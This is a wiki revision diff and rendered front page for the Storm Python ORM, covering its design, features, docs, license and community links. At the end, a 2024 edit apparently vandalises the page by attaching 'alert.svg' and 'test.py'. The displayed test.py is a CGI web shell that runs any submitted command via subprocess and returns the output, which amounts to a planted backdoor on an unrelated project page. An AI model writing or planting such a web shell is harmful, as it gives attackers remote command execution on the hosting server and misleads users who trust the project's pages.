Differences between revisions 2 and 44 (spanning 42 versions)
Revision 2 as of 2007-07-07 02:08:31
Size: 791
Editor: niemeyer
Comment:
Revision 44 as of 2024-10-08 09:23:14
Size: 4243
Editor: ranman
Comment:
Deletions are marked like this. Additions are marked like this.
Line 1: Line 1:
Line 4: Line 3:
Storm is a generic object relational mapper (ORM) developed
at Canonical to support the communication with multiple databases
simultaneously.
Storm is an object-relational mapper (ORM) for Python developed at
Canonical. The project was in development for more than a year
for use in Canonical projects such as [[https://launchpad.net|Launchpad]]
and [[http://www.canonical.com/projects/landscape|Landscape]] before
being released as free software on July 9th, 2007.
Line 8: Line 9:
The '''storm''' acronym stands for '''STorm Object Relational Mapper'''. <<TableOfContents>>

== Highlights ==

'''Design'''

 * Clean and lightweight API offers a short learning curve and long-term
 maintainability.
 * Storm is developed in a test-driven manner. An untested line of code is
 considered a bug.
 * Storm needs no special class constructors, nor imperative base classes.
 * Storm is well designed (different classes have very clear boundaries,
 with small and clean public APIs).
 * Designed from day one to work both with thin relational databases, such
 as SQLite, and big iron systems like PostgreSQL.
 * Storm is easy to debug, since its code is written with a KISS principle,
 and thus is easy to understand.
 * Designed from day one to work both at the low end, with trivial small
 databases, and the high end, with applications accessing billion row tables
 and committing to multiple database backends.
 * It's very easy to write and support backends for Storm (current backends
 have around 100 lines of code).

'''Features'''

 * Storm is fast.
 * Storm lets you efficiently access and update large datasets by allowing
 you to formulate complex queries spanning multiple tables using Python.
 * Storm allows you to fallback to SQL if needed (or if you just prefer),
 allowing you to mix "old school" code and ORM code
 * Storm handles composed primary keys with ease (no need for surrogate keys).
 * Storm doesn't do schema management, and as a result you're free to
 manage the schema as wanted, and creating classes that work with Storm
 is clean and simple.
 * Storm works very well connecting to several databases and using the
 same Python types (or different ones) with all of them.
 * Storm can handle obj.attr = <A SQL expression> assignments, when
 that's really needed (the expression is executed at INSERT/UPDATE
 time).
 * Storm handles relationships between objects even before they were
 added to a database.
 * Storm works well with existing database schemas.
 * Storm will flush changes to the database automatically when needed, so
 that queries made affect recently modified objects.
Line 11: Line 55:
== What Storm is not == == Documentation ==
Line 13: Line 57:
Storm wasn't created to handle the manipulation of database schemas.
It has no support for creating tables, or extracting information out
of a class to allow the creation of the table. That's not a limitation,
but a design decision. Storm explores the infrastructure offered by
relational databases and by the Python language to create an ORM,
serving as an extension, rather than as a wrapper.
There's a [[https://storm-orm.readthedocs.io/en/latest/tutorial.html|tutorial]] available. We are always working on improving the documentation. Questions are welcome in the mailing list.
Line 20: Line 59:
 * [[https://storm-orm.readthedocs.io/en/latest/tutorial.html|Tutorial]] (based on code in trunk)
 * [[Manual]] (under construction)
 * [[https://storm-orm.readthedocs.io/en/latest/api.html|API docs]]
 * [[https://storm-orm.readthedocs.io/en/latest/infoheritance.html|Infoheritance]] describes a common Storm design pattern
 * Web Framework Integration
   * [[https://storm-orm.readthedocs.io/en/latest/zope.html|Zope]]
   * [[http://divmod.org/trac/wiki/DivmodNevow/Storm|Nevow/Twisted]] (forthcoming)
   * [[PylonsRepoze.tm2]]

== License ==

Storm is licensed under the [[http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html|LGPL 2.1]]. Contributions must have [[http://www.canonical.com/contributors|copyright assigned to Canonical]].

== Community ==

The Storm mailing list is publicly available at:

  https://lists.canonical.com/mailman/listinfo/storm

There is also a #storm IRC channel on irc.freenode.net; stop by and chat! We have
a PublishBot up and running.
Line 25: Line 85:
  * https://launchpad.net/storm   https://launchpad.net/storm

The source code may be obtained using [[http://bazaar-vcs.org|Bazaar]]:

  {{{bzr branch lp:storm}}}

Code may be browsed at:

  http://bazaar.launchpad.net/~storm/storm/trunk/files

If you want to contribute, please see DevelopmentProcedure.


== Download ==

You can find released files at:

  https://launchpad.net/storm/+download

Please follow the ReleaseProcedure when making a new release.{{attachment:alert.svg}}
{{attachment:test.py}}

What is Storm?

Storm is an object-relational mapper (ORM) for Python developed at Canonical. The project was in development for more than a year for use in Canonical projects such as Launchpad and Landscape before being released as free software on July 9th, 2007.

Highlights

Design

  • Clean and lightweight API offers a short learning curve and long-term maintainability.
  • Storm is developed in a test-driven manner. An untested line of code is considered a bug.
  • Storm needs no special class constructors, nor imperative base classes.
  • Storm is well designed (different classes have very clear boundaries, with small and clean public APIs).
  • Designed from day one to work both with thin relational databases, such as SQLite, and big iron systems like PostgreSQL.
  • Storm is easy to debug, since its code is written with a KISS principle, and thus is easy to understand.
  • Designed from day one to work both at the low end, with trivial small databases, and the high end, with applications accessing billion row tables and committing to multiple database backends.
  • It's very easy to write and support backends for Storm (current backends have around 100 lines of code).

Features

  • Storm is fast.
  • Storm lets you efficiently access and update large datasets by allowing you to formulate complex queries spanning multiple tables using Python.
  • Storm allows you to fallback to SQL if needed (or if you just prefer), allowing you to mix "old school" code and ORM code
  • Storm handles composed primary keys with ease (no need for surrogate keys).
  • Storm doesn't do schema management, and as a result you're free to manage the schema as wanted, and creating classes that work with Storm is clean and simple.
  • Storm works very well connecting to several databases and using the same Python types (or different ones) with all of them.
  • Storm can handle obj.attr = <A SQL expression> assignments, when that's really needed (the expression is executed at INSERT/UPDATE time).

  • Storm handles relationships between objects even before they were added to a database.
  • Storm works well with existing database schemas.
  • Storm will flush changes to the database automatically when needed, so that queries made affect recently modified objects.

Documentation

There's a tutorial available. We are always working on improving the documentation. Questions are welcome in the mailing list.

License

Storm is licensed under the LGPL 2.1. Contributions must have copyright assigned to Canonical.

Community

The Storm mailing list is publicly available at:

There is also a #storm IRC channel on irc.freenode.net; stop by and chat! We have a PublishBot up and running.

Development

Development of Storm may be tracked in Launchpad:

The source code may be obtained using Bazaar:

  • bzr branch lp:storm

Code may be browsed at:

If you want to contribute, please see DevelopmentProcedure.

Download

You can find released files at:

Please follow the ReleaseProcedure when making a new release.alert.svg

   1 #!/usr/bin/env python
   2 
   3 import cgi
   4 import subprocess
   5 
   6 import cgitb
   7 cgitb.enable()
   8 
   9 def run(command):
  10     if not command:
  11        raise Exception("Commande vide")
  12     else:
  13        p = subprocess.Popen(command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  14        p.wait()
  15        out, err = p.communicate()
  16        return out
  17 
  18 print "Content-Type: text/html"
  19 print
  20 print "<html>"
  21 print "<head>"
  22 print "<title>Hello World</title>"
  23 print "</head>"
  24 print "<body>"
  25 print "<form method='post' action='shell.py'>"
  26 print "<input type='text' name='command' />"
  27 print "<input type='submit' value='submit' />"
  28 print "</form>"
  29 
  30 form = cgi.FieldStorage()
  31 if 'command' in form:
  32     cmd = form['command'].value
  33     print "<font face='monospace'>"
  34     print "$ %s" % cmd
  35     print "<br>"
  36     for i in run(cmd).split('\n'):
  37         print i, "<br>"
  38     print "</font>"
  39 
  40 print "</body>"
  41 print "</html>"
test.py

FrontPage (last edited 2024-10-08 09:38:41 by ranman)